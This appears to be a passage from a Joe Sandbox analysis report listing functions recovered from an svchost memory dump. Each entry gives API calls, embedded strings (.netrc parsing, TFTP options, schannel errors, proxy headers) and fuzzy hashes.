Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f9054b6c41bdc7fa9427389a37a845b6d3b4069bf6a0d4c63a1f14707fe7c97c
Instruction ID: 54c338c6e4544742cb285c8ea3a89ba21cd1d9f2c2fbc4a48f3a2ba879813784
Opcode Fuzzy Hash: f9054b6c41bdc7fa9427389a37a845b6d3b4069bf6a0d4c63a1f14707fe7c97c
Instruction Fuzzy Hash: 6D41A97E746B8596D74AAF25EA583A87374FB8AB50F040025DF5E43B518F78E0B88314

Function 00007FFDA5588618 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA5588642
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA558865E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA558869C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5588871
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5588888
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55888A0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55888B8
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA558897E

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_strdup$calloc
String ID: application/octet-stream$k
API String ID: 149330190-2522224428
Opcode ID: b4796e396b2e293a4ccace64014af710773a9e3432854d8740da5a801c1e73df
Instruction ID: a046309aa018e772a842fd14317bc63bc52dd520278014bf85907f29fea2e848
Opcode Fuzzy Hash: b4796e396b2e293a4ccace64014af710773a9e3432854d8740da5a801c1e73df
Instruction Fuzzy Hash: 31C16F7AB0AB4995EB6A8F15946033827A1EB46F58F5809B4CE9D077D6DF3CD880D308

Function 00007FFDA5588751 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 253COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA558877B
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5588797
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55887D1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5588871
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5588888
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55888A0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55888B8
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA558897E

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_strdup$calloc
String ID: application/octet-stream$k
API String ID: 149330190-2522224428
Opcode ID: d101483a134b522a0ea622b3f50a4836e87d648b9c317e03f94f2a9bdb6adf2d
Instruction ID: fc8f6cbd14024b1d27f190f04835174c2a6f998ad2c8226bbc13cfb1487ddc7a
Opcode Fuzzy Hash: d101483a134b522a0ea622b3f50a4836e87d648b9c317e03f94f2a9bdb6adf2d
Instruction Fuzzy Hash: 53C17F7AB0AB4995EB6A8F14946033827E1EB46F58F5809B4CE9D077D6DF3CD881D308

Function 00007FFDA55C3820 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 171COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C3863
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C3870
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C3895
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C38A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C394A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C3956
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C397C

Strings

.netrc parser error, xrefs: 00007FFDA55C3922
.netrc, xrefs: 00007FFDA55C38FD
Couldn't find host %s in the %s file; using defaults, xrefs: 00007FFDA55C3908

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_strdup
String ID: .netrc$.netrc parser error$Couldn't find host %s in the %s file; using defaults
API String ID: 2653869212-330727394
Opcode ID: bb9bc4a581c2346b4f44b96d6ddb7c3b6852138075e7cc7b28246d96a7e34392
Instruction ID: 216a35437188437be83c7eea70d5ac3c24ee2f0d8f9d1f2d855103d285c96ea3
Opcode Fuzzy Hash: bb9bc4a581c2346b4f44b96d6ddb7c3b6852138075e7cc7b28246d96a7e34392
Instruction Fuzzy Hash: 0A71B439B0AA4E82EB568F15E8643BA23A0FB46F84F454031DE0D47B96DF3CE465C348

Function 00007FFDA55BE5DC Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 301COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BE6B3

Strings

timeout, xrefs: 00007FFDA55BE96E
TFTP file name too long, xrefs: 00007FFDA55BE69F
%lld, xrefs: 00007FFDA55BE73B
blksize, xrefs: 00007FFDA55BE894
%s%c%s%c, xrefs: 00007FFDA55BE6CA
TFTP buffer too small for options, xrefs: 00007FFDA55BE7A4, 00007FFDA55BEA0B
tsize, xrefs: 00007FFDA55BE7B7

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID: %lld$%s%c%s%c$TFTP buffer too small for options$TFTP file name too long$blksize$timeout$tsize
API String ID: 1294909896-1106908834
Opcode ID: b4e8e94a0679420947d9f8b60f768422988dec3105b4f9194979f87b37835e27
Instruction ID: 82fedf4dbe9a2de69305f22e2f317fcf945cda5fbeb4c7e050786d94f7816572
Opcode Fuzzy Hash: b4e8e94a0679420947d9f8b60f768422988dec3105b4f9194979f87b37835e27
Instruction Fuzzy Hash: B0E1C67AB0AAC985EF12CF15D0683B967A1EB86F88F498131CA4D07796EF3CD545C314

Function 00007FFDA55C55A0 Relevance: 18.1, APIs: 12, Instructions: 96COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C55B7
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C55D1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C55EC
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5608
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5624
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5640
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5658
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5670
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5688
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C56A0
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C56B8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C56D2

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: _strdup$callocfree
String ID:
API String ID: 1183638330-0
Opcode ID: fe398f222f6f458957b536ce3e97e551d8fcd28a0f9202c922f1987917b49815
Instruction ID: 2bb9e12cc156de35602037d28f2bda755f62bebef3827b8f60981c19c2b6aaa0
Opcode Fuzzy Hash: fe398f222f6f458957b536ce3e97e551d8fcd28a0f9202c922f1987917b49815
Instruction Fuzzy Hash: 0741FB3DB07B4682EE5B9FA5947473862A0AF59F45F080538DA0E03B56EF2CF4A48714

Function 00007FFDA55CD680 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 190encryptionCOMMON

Download Yara Rule

APIs

CertFreeCertificateContext.CRYPT32 ref: 00007FFDA55CD937

Strings

schannel: failed to retrieve ALPN result, xrefs: 00007FFDA55CD774
schannel: failed to setup sequence detection, xrefs: 00007FFDA55CD6D5
schannel: failed to setup confidentiality, xrefs: 00007FFDA55CD6FF
schannel: failed to setup memory allocation, xrefs: 00007FFDA55CD717
schannel: failed to retrieve remote cert context, xrefs: 00007FFDA55CD948
schannel: failed to store credential handle, xrefs: 00007FFDA55CD880
schannel: failed to setup replay detection, xrefs: 00007FFDA55CD6EA
schannel: server selected an ALPN protocol too late, xrefs: 00007FFDA55CD7EF
schannel: failed to setup stream orientation, xrefs: 00007FFDA55CD72F

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: CertCertificateContextFree
String ID: schannel: failed to retrieve ALPN result$schannel: failed to retrieve remote cert context$schannel: failed to setup confidentiality$schannel: failed to setup memory allocation$schannel: failed to setup replay detection$schannel: failed to setup sequence detection$schannel: failed to setup stream orientation$schannel: failed to store credential handle$schannel: server selected an ALPN protocol too late
API String ID: 3080675121-1264606989
Opcode ID: 22cb0939f2f7ab55ceea28a973b259c41bfc03db7f43bf8292f96ba0f68afd33
Instruction ID: a9ad990d6e08f9a539f3c30e55c4839f4335727c02d052c20ddac02dc07243f4
Opcode Fuzzy Hash: 22cb0939f2f7ab55ceea28a973b259c41bfc03db7f43bf8292f96ba0f68afd33
Instruction Fuzzy Hash: 6B81732AB0E6CA91EA52DF11A4603BA67A0EB86F80F445031DE4E47757DF3CE465CB44

Function 64945BE0 Relevance: 16.7, APIs: 11, Instructions: 151sleepCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 64945C5F
Sleep.KERNEL32 ref: 64945C74
Sleep.KERNEL32 ref: 64945C83

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Sleep$CreateEvent
String ID:
API String ID: 1576368186-0
Opcode ID: 3a8f0e5f485a57a8fd7ad16dca34b9265d8dc5cd446898dcf4c0c6ed55fd24e3
Instruction ID: 322aad4d60bda52f91d0dd0aacbc613f080a5a7f86a1d1e06db62ca80e90a9de
Opcode Fuzzy Hash: 3a8f0e5f485a57a8fd7ad16dca34b9265d8dc5cd446898dcf4c0c6ed55fd24e3
Instruction Fuzzy Hash: 2C519A3229165086EB158F75E80475E33A9FB89BBCF244325DE298B7D8DF39C886C350

Function 00007FFDA55885D7 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55885F8

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: _strdup
String ID: application/octet-stream$k
API String ID: 1169197092-2522224428
Opcode ID: 5e216d063a79c1f37cc5649c68b731997a2af77b9fe2912d6323005140ab9866
Instruction ID: ab0f0e80bef98b7a65b27e3854e03d5dff5a19d16a6815702833ca5a00fe5a24
Opcode Fuzzy Hash: 5e216d063a79c1f37cc5649c68b731997a2af77b9fe2912d6323005140ab9866
Instruction Fuzzy Hash: F8B17E7AB0AB4995EB6A8F14946032827A1EB46F58F5849B4CE9D077D6DF3CD880D308

Function 00007FFDA5588809 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA5588820

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: _strdup
String ID: application/octet-stream$k
API String ID: 1169197092-2522224428
Opcode ID: bca073fe85238b138440d95cf7989cf78636fde8ad80831de9c8151113a11be0
Instruction ID: 715f63d2c0ced7d114922f4f420dd6b4e00b6dab25c2633c29dd330e69531d3d
Opcode Fuzzy Hash: bca073fe85238b138440d95cf7989cf78636fde8ad80831de9c8151113a11be0
Instruction Fuzzy Hash: 3DA17E7AB0AB4995EB6A8F14D46032827E1EB46F58F5809B4CE9D077D6DF3CD881D308

Function 00007FFDA559572B Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 132COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55958A7

Part of subcall function 00007FFDA55947F0: strchr.VCRUNTIME140 ref: 00007FFDA559484C
Part of subcall function 00007FFDA55947F0: strchr.VCRUNTIME140 ref: 00007FFDA5594861
Part of subcall function 00007FFDA55947F0: strchr.VCRUNTIME140 ref: 00007FFDA5594873

Strings

Proxy-authenticate:, xrefs: 00007FFDA559586E
close, xrefs: 00007FFDA5595810
Persistent-Auth:, xrefs: 00007FFDA55958C4
Negotiate: noauthpersist -> %d, header part: %s, xrefs: 00007FFDA559591D
HTTP/1.0 proxy connection set to keep alive, xrefs: 00007FFDA55957C3
HTTP/1.1 proxy connection set close, xrefs: 00007FFDA559584A
false, xrefs: 00007FFDA5595902
keep-alive, xrefs: 00007FFDA5595790
Proxy-Connection:, xrefs: 00007FFDA559573B, 00007FFDA5595777, 00007FFDA55957A6, 00007FFDA55957EF, 00007FFDA5595826

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: strchr$free
String ID: HTTP/1.0 proxy connection set to keep alive$HTTP/1.1 proxy connection set close$Negotiate: noauthpersist -> %d, header part: %s$Persistent-Auth:$Proxy-Connection:$Proxy-authenticate:$close$false$keep-alive
API String ID: 3578582447-3982183773
Opcode ID: af64a45a60c776fa3ca57ea35a040d15094149ae1437f010b3d26d0ff6886d72
Instruction ID: 76927e1bd858c8a1c2e2585cdd81437a679e71136889b7d930862c8c088283ad
Opcode Fuzzy Hash: af64a45a60c776fa3ca57ea35a040d15094149ae1437f010b3d26d0ff6886d72
Instruction Fuzzy Hash: E851986AF0E68AC5FA26EF16A9343F912A19F13F84F440035D90D067D7EF6CE551830A

Function 00007FFDA55CF820 Relevance: 15.0, APIs: 12, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF830
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF83F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF84D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF85B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF869
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF877
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF885
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF893
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF8A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF8AF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF8BD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CF8CB

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: add0b55f31ea5315e63d18e07a67bae7d110dbd47902aebcef5392f5d948f21e
Instruction ID: a14f8d48b23b407c0caef3e42c94915cf9a1de498c67eaa9080d39279b3d5208
Opcode Fuzzy Hash: add0b55f31ea5315e63d18e07a67bae7d110dbd47902aebcef5392f5d948f21e
Instruction Fuzzy Hash: 4721987E64AB05C2D702AF25E9A823C33B4FB8AF997100025DE4E43B59CF78D499C365

Function 00007FFDA5588503 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5588871
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5588888
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55888A0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55888B8
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA558897E

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_strdup
String ID: application/octet-stream$k
API String ID: 2653869212-2522224428
Opcode ID: de1c18a33a8226ade4d38b042767e0601d4dd691b8d68a6b6e67acb496470743
Instruction ID: bc5a2f5d76d55431d81231e2024b2136c390d974f270a1129d5d2259ab80d416
Opcode Fuzzy Hash: de1c18a33a8226ade4d38b042767e0601d4dd691b8d68a6b6e67acb496470743
Instruction Fuzzy Hash: 33B1607AB0AB4995EB6A8F15D46033827A1EB46F58F5809B4CE9D073D6DF3CE841D308

Function 00007FFDA5588563 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 234COMMON

Download Yara Rule

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: application/octet-stream$k
API String ID: 0-2522224428
Opcode ID: 5d7c280c46b4d2e0b7470f727e2e430a54cf03afdcea3e54c162465bc49df8b1
Instruction ID: db99003b55388fdbf73d16fb2b1f5252721bd39b253918d8be72362b8e694b49
Opcode Fuzzy Hash: 5d7c280c46b4d2e0b7470f727e2e430a54cf03afdcea3e54c162465bc49df8b1
Instruction Fuzzy Hash: BEB17F7AB0AB4995EB6A8F15946032827E1EB46F58F5809B4CE9D073D6DF3CD841D308

Function 00007FFDA55884E2 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 231COMMON

Download Yara Rule

APIs

